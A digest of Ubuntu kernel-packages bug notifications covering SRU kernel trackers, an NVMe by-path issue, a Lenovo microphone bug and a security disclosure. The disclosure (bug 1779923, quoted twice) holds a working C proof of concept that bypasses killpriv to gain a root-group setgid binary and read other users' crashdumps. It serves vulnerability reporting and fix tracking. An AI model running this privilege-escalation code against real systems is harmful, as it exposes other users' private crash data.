Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow stakeholder-signoff series:
  Confirmed
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-azure source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781072/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781068] Re: linux-kvm: 4.15.0-1015.15 -proposed tracker

[Steve Beattie]

Regression USN needed

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-kvm in Ubuntu.
https://bugs.launchpad.net/bugs/1781068

Title:
  linux-kvm: 4.15.0-1015.15 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-kvm package in Ubuntu:
  Invalid
Status in linux-kvm source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781068/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781067] Re: linux-gcp: 4.15.0-1013.13 -proposed tracker

[Steve Beattie]

Regression USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-gcp in Ubuntu.
https://bugs.launchpad.net/bugs/1781067

Title:
  linux-gcp: 4.15.0-1013.13 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Confirmed
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Fix Released
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-release-to-beta series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-candidate series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-edge series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-gcp package in Ubuntu:
  Invalid
Status in linux-gcp source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781067/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781066] Re: linux-azure: 4.15.0-1017.17 -proposed tracker

[Steve Beattie]

Regression USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-azure in Ubuntu.
https://bugs.launchpad.net/bugs/1781066

Title:
  linux-azure: 4.15.0-1017.17 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Confirmed
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow stakeholder-signoff series:
  Confirmed
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-azure package in Ubuntu:
  Invalid
Status in linux-azure source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781066/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781433] Re: linux: 4.15.0-28.30 -proposed tracker

[Steve Beattie]

Regression USN needed.

** Changed in: kernel-sru-workflow/security-signoff
   Status: In Progress => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781433

Title:
  linux: 4.15.0-28.30 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Incomplete
Status in Kernel SRU Workflow certification-testing series:
  In Progress
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-certification-testing series:
  New
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  backports: bug 1781437 (linux-hwe), bug 1781438 (linux-hwe-edge), bug 1781072 
(azure), bug 1781074 (azure-edge), bug 1781115 (gcp)
  derivatives: bug 1781435 (linux-aws), bug 1781066 (azure), bug 1781067 (gcp), 
bug 1781068 (kvm), bug 1781063 (raspi2), bug 1781064 (oem)
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781433/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

[Tyler Hicks]

I don't think the Security or Foundations teams plan to make any changes
in Whoopsie so I'm marking these tasks as invalid.

** Changed in: whoopsie (Ubuntu Trusty)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Xenial)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Bionic)
   Status: New => Invalid

** Changed in: whoopsie (Ubuntu Cosmic)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd = open("dir/file", O_RDWR|O_CREAT|O_EXCL, 02755);
if (fd == -1)
  err(1, "open");
if (fallocate(fd, 0, 0, src_len))
  err(1, "fallocate");
char *mapping = mmap(NULL, src_len, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 
0);
if (mapping == MAP_FAILED)
  err(1, "mmap");

  
memcpy(mapping, src_mapping, src_len);

munmap(mapping, src_len);
close(fd);
close(src_fd);

execl("./dir/file", "id", NULL);
err(1, "execl");
  }
  user@debian:~/sgid_demo$ gcc -o fallocate fallocate.c
  user@debian:~/sgid_demo$ ./fallocate
  uid=1000(user) gid=1000(user) egid=0(root)
  
groups=0(root),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner),121(wireshark),1000(user)
  =

  
  sys_copy_file_range() also looks as if it bypasses killpriv on
  supported filesystems, but I haven't tested that one so far.

  On Ubuntu 18.04 (bionic), /var/crash is mode 03777, group "whoopsie", and
  contains group-readable crashdumps in some custom format, so you can use this
  issue to steal other users' crashdumps:

  
  =
  user@ubuntu-18-04-vm:~$ ls -l /var/crash
  total 296
  -rw-r- 1 user whoopsie  16527 Jun 25 22:27 
_usr_bin_apport-unpack.1000.crash
  -rw-r- 1 root whoopsie  50706 Jun 25 21:51 _usr_bin_id.0.crash
  -rw-r- 1 user whoopsie  51842 Jun 25 21:42 _usr_bin_id.1000.crash
  -rw-r- 1 user 

[Kernel-packages] [Bug 1746416] Comment bridged from LTC Bugzilla

[bugproxy]

--- Comment From cdead...@us.ibm.com 2018-07-16 14:50 EDT---
Paul has been moved to another project. I'll try to find a system and a little 
time to re-test this.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1746416

Title:
  Boston-LC:bos009:Ubuntu18.04: No /dev/disk/by-path link created for
  Samsung PM1725a NVMe 1.6TB and .8 TB disk drives

Status in The Ubuntu-power-systems project:
  Incomplete
Status in linux package in Ubuntu:
  New

Bug description:
  == Comment: #1 - Application Cdeadmin 
  BMC/PNOR:
  =

  Firmware Revision : 00.37 IP address : 009.003.020.216
  Firmware Build Time : 20171201BMC MAC address : 0c:c4:7a:f4:4d:60
  PNOR Build Time : 20180117
  CPLD Version : B2.91.00

  
  Ubuntu 18.04:
  =

  
  root@bos1u1p1:~# uname -a
  Linux bos1u1p1 4.15.0-041500rc9-generic #201801212130 SMP Mon Jan 22 03:36:42 
UTC 2018 ppc64le ppc64le ppc64le GNU/Linux

  
  root@bos1u1p1:~# ls -l /dev/disk/by-path
  total 0
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0 -> 
../../sda
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part1 -> 
../../sda1
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part2 -> 
../../sda2
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:1:0 -> 
../../sdb
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:2:0 -> 
../../sdc
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-0 -> ../../sdd
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-1 -> ../../sde
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-2 -> ../../sdf
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218452-lun-3 -> ../../sdg
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-0 -> ../../sdh
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-1 -> ../../sdi
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-2 -> ../../sdj
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.0-fc-0x500507680b218453-lun-3 -> ../../sdk
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-0 -> ../../sdl
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-1 -> ../../sdm
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-2 -> ../../sdn
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218452-lun-3 -> ../../sdo
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-0 -> ../../sdp
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-1 -> ../../sdq
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-2 -> ../../sdr
  lrwxrwxrwx 1 root root  9 Jan 25 10:20 
pci-0031:01:00.1-fc-0x500507680b218453-lun-3 -> ../../sds
  root@bos1u1p1:~# 

  
  Problem Description:
  =
  - I setup my Boston LC system to run with Ubuntu 18.04

  - I tried to test out Samsung PM1725a NVMe 1.6TB and .8 TB disk drives
  on Boston LC system.

  - The disk drive plugged good into the system. However, after boot the
  system did not see the disk.

  - I tried with both Samsung PM1725a NVMe 1.6TB and with .8TB disk
  drives and none of them show up.

  - This disk type plan to supporte in Boston LC system so if the system
  does not recognize it then it is an issue.

  - I checked with Joe W. my team lead and he told me to open github
  issue for further investigation.

  
  root@bos1u1p1:~# ls -l /dev/disk/by-path
  total 0
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0 -> 
../../sda
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part1 -> 
../../sda1
  lrwxrwxrwx 1 root root 10 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:0:0-part2 -> 
../../sda2
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:1:0 -> 
../../sdb
  lrwxrwxrwx 1 root root  9 Jan 25 10:19 pci-0003:01:00.0-scsi-0:2:2:0 -> 
../../sdc

  - If the disk is recognized then it will be
  pci-0003:01:00.0-scsi-0:2:3:0 -> ../../sdd but it's not.

  
  == Comment: #2 - Application Cdeadmin 
  --- Comment From dacng 2018-01-25 11:13:00 EDT ---
  You need to install NMVE HBA in your machine

  == Comment: #3 - Application Cdeadmin 
  --- Comment From nguyenp1 2018-01-26 15:35:40 EDT ---
  - I have NVME HBA adapter installed in the system and 2 Samsung PM1725a NVMe 
1.6TB and .8 TB disk drives  in the system.  The adapter and nvme drives show 
correctly.

  - However, the "ls -l /dev/disk/by-path" command did not show any nvme 
drives.  So it's new issue with 
  Ubuntu 18.04.  Without the PCI path the nvme disks can not be assigned to KVM 

[Kernel-packages] [Bug 1779923] Re: other users' coredumps can be read via setgid directory and killpriv bypass

[Tyler Hicks]

Fix submitted for the Ubuntu kernel: https://lists.ubuntu.com/archives
/kernel-team/2018-July/093863.html

** Also affects: linux (Ubuntu)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu)
   Status: New => In Progress

** Changed in: linux (Ubuntu)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Also affects: linux (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Trusty)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Cosmic)
   Importance: Medium
 Assignee: Tyler Hicks (tyhicks)
   Status: In Progress

** Also affects: whoopsie (Ubuntu Cosmic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: linux (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Also affects: whoopsie (Ubuntu Xenial)
   Importance: Undecided
   Status: New

** Changed in: linux (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: linux (Ubuntu Bionic)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Xenial)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Xenial)
   Status: New => In Progress

** Changed in: linux (Ubuntu Xenial)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

** Changed in: linux (Ubuntu Trusty)
   Importance: Undecided => Medium

** Changed in: linux (Ubuntu Trusty)
   Status: New => In Progress

** Changed in: linux (Ubuntu Trusty)
 Assignee: (unassigned) => Tyler Hicks (tyhicks)

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779923

Title:
  other users' coredumps can be read via setgid directory and killpriv
  bypass

Status in linux package in Ubuntu:
  In Progress
Status in whoopsie package in Ubuntu:
  Invalid
Status in linux source package in Trusty:
  In Progress
Status in whoopsie source package in Trusty:
  Invalid
Status in linux source package in Xenial:
  In Progress
Status in whoopsie source package in Xenial:
  Invalid
Status in linux source package in Bionic:
  In Progress
Status in whoopsie source package in Bionic:
  Invalid
Status in linux source package in Cosmic:
  In Progress
Status in whoopsie source package in Cosmic:
  Invalid

Bug description:
  Note: I am both sending this bug report to secur...@kernel.org and filing it 
in
  the Ubuntu bugtracker because I can't tell whether this counts as a kernel bug
  or as a Ubuntu bug. You may wish to talk to each other to determine the best
  place to fix this.

  I noticed halfdog's old writeup at
  https://www.halfdog.net/Security/2015/SetgidDirectoryPrivilegeEscalation/
  , describing essentially the following behavior in combination with a
  trick for then writing to the resulting file without triggering the
  killpriv logic:

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat > demo.c
  #include 
  int main(void) { open("dir/file", O_RDONLY|O_CREAT, 02755); }
  user@debian:~/sgid_demo$ gcc -o demo demo.c
  user@debian:~/sgid_demo$ ./demo
  user@debian:~/sgid_demo$ ls -l dir/file
  -rwxr-sr-x 1 user root 0 Jun 25 22:03 dir/file
  =

  
  Two patches for this were proposed on LKML back then:
  "[PATCH 1/2] fs: Check f_cred instead of current's creds in
  should_remove_suid()"
  
https://lore.kernel.org/lkml/9318903980969a0e378dab2de4d803397adcd3cc.1485377903.git.l...@kernel.org/

  "[PATCH 2/2] fs: Harden against open(..., O_CREAT, 02777) in a setgid 
directory"
  
https://lore.kernel.org/lkml/826ec4aab64ec304944098d15209f8c1ae65bb29.1485377903.git.l...@kernel.org/

  However, as far as I can tell, neither of them actually landed.

  
  You can also bypass the killpriv logic with fallocate() and mmap() -
  fallocate() permits resizing the file without triggering killpriv,
  mmap() permits writing without triggering killpriv (the mmap part is mentioned
  at
  
https://lore.kernel.org/lkml/cagxu5jlu6ogkqugqrcoyq6dabowz9hx3fuq+-zc7njlukgk...@mail.gmail.com/
  ):

  
  =
  user@debian:~/sgid_demo$ sudo mkdir -m03777 dir
  user@debian:~/sgid_demo$ cat fallocate.c
  #define _GNU_SOURCE
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 
  #include 

  int main(void) {
int src_fd = open("/usr/bin/id", O_RDONLY);
if (src_fd == -1)
  err(1, "open 2");
struct stat src_stat;
if (fstat(src_fd, _stat))
  err(1, "fstat");
int src_len = src_stat.st_size;
char *src_mapping = mmap(NULL, src_len, PROT_READ, MAP_PRIVATE, src_fd, 0);
if (src_mapping == MAP_FAILED)
  err(1, "mmap 2");

int fd 

[Kernel-packages] [Bug 1619866] Re: Lenovo G50-45 inverted microphone not detected properly

[Brad]

This problem still exists. I think it's due to #1 some notebooks having an 
inverted mic channel and #2 Pulseaudio auto/dynamic-setting mic levels of both 
channels equal.  So when you turn down one channel to allow it to work 
(workaround) Pulseaudio sets it back which disables the mic again.   I don't 
know if this problem should be resolved in the Kernel or Pulseaudio. But I have 
seen an "inverted mic" is a common problem that many people have and struggle 
with getting their mic to work as a result. 
I have the Lenovo G50-45 with updated BIOS: 
A2CN45WW(V2.13)
Running the latest Manjaro distro w/kernel 4.14:
Linux G50 4.14.55-1-MANJARO
08/04/2016

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1619866

Title:
  Lenovo G50-45 inverted microphone not detected properly

Status in linux package in Ubuntu:
  Expired
Status in pulseaudio package in Ubuntu:
  New

Bug description:
  System: Lenovo G50-45 with Lubuntu 16.04

  Alsa information: http://www.alsa-
  project.org/db/?f=5e8ab749ddf4f0a7e4ae8f3ce678ddb9cb12c89f

  Internal microphone does not pick up sound by default. When I mute one 
channel, it works (this is not a good workaround since some application, such 
as Facebook Messenger, unmute both channels and set them to the same level 
automatically).
  --- 
  ApportVersion: 2.20.1-0ubuntu2.1
  Architecture: amd64
  AudioDevicesInUse:
   USERPID ACCESS COMMAND
   /dev/snd/controlC0:  silvana2681 F pulseaudio
   /dev/snd/controlC1:  silvana2681 F pulseaudio
  CurrentDesktop: LXDE
  DistroRelease: Ubuntu 16.04
  HibernationDevice: RESUME=UUID=ed5f69ec-7e3c-40e2-9c00-9b93ff0b463f
  InstallationDate: Installed on 2016-09-02 (0 days ago)
  InstallationMedia: Lubuntu 16.04.1 LTS "Xenial Xerus" - Release amd64 
(20160720)
  MachineType: LENOVO 80E3
  Package: linux (not installed)
  ProcFB: 0 radeondrmfb
  ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.4.0-36-generic.efi.signed 
root=UUID=baa34df9-fd6a-44bd-8c25-64bec78743a2 ro quiet splash vt.handoff=7
  ProcVersionSignature: Ubuntu 4.4.0-36.55-generic 4.4.16
  RelatedPackageVersions:
   linux-restricted-modules-4.4.0-36-generic N/A
   linux-backports-modules-4.4.0-36-generic  N/A
   linux-firmware1.157.3
  Tags:  xenial
  Uname: Linux 4.4.0-36-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dip lpadmin plugdev sambashare sudo
  _MarkForUpload: True
  dmi.bios.date: 08/26/2014
  dmi.bios.vendor: LENOVO
  dmi.bios.version: A2CN25WW(V1.07)
  dmi.board.asset.tag: No Asset Tag
  dmi.board.name: Lancer 5B2
  dmi.board.vendor: LENOVO
  dmi.board.version: SDK0F82993 WIN
  dmi.chassis.asset.tag: No Asset Tag
  dmi.chassis.type: 10
  dmi.chassis.vendor: LENOVO
  dmi.chassis.version: Lenovo G50-45
  dmi.modalias: 
dmi:bvnLENOVO:bvrA2CN25WW(V1.07):bd08/26/2014:svnLENOVO:pn80E3:pvrLenovoG50-45:rvnLENOVO:rnLancer5B2:rvrSDK0F82993WIN:cvnLENOVO:ct10:cvrLenovoG50-45:
  dmi.product.name: 80E3
  dmi.product.version: Lenovo G50-45
  dmi.sys.vendor: LENOVO

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1619866/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1619866] Re: Lenovo G50-45 inverted microphone not detected properly

[Brad]

Here is my alsa-info report: http://www.alsa-
project.org/db/?f=be279d4be4647c2e25da163de10f080c327561d0

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1619866

Title:
  Lenovo G50-45 inverted microphone not detected properly

Status in linux package in Ubuntu:
  Expired
Status in pulseaudio package in Ubuntu:
  New

Bug description:
  System: Lenovo G50-45 with Lubuntu 16.04

  Alsa information: http://www.alsa-
  project.org/db/?f=5e8ab749ddf4f0a7e4ae8f3ce678ddb9cb12c89f

  Internal microphone does not pick up sound by default. When I mute one 
channel, it works (this is not a good workaround since some application, such 
as Facebook Messenger, unmute both channels and set them to the same level 
automatically).
  --- 
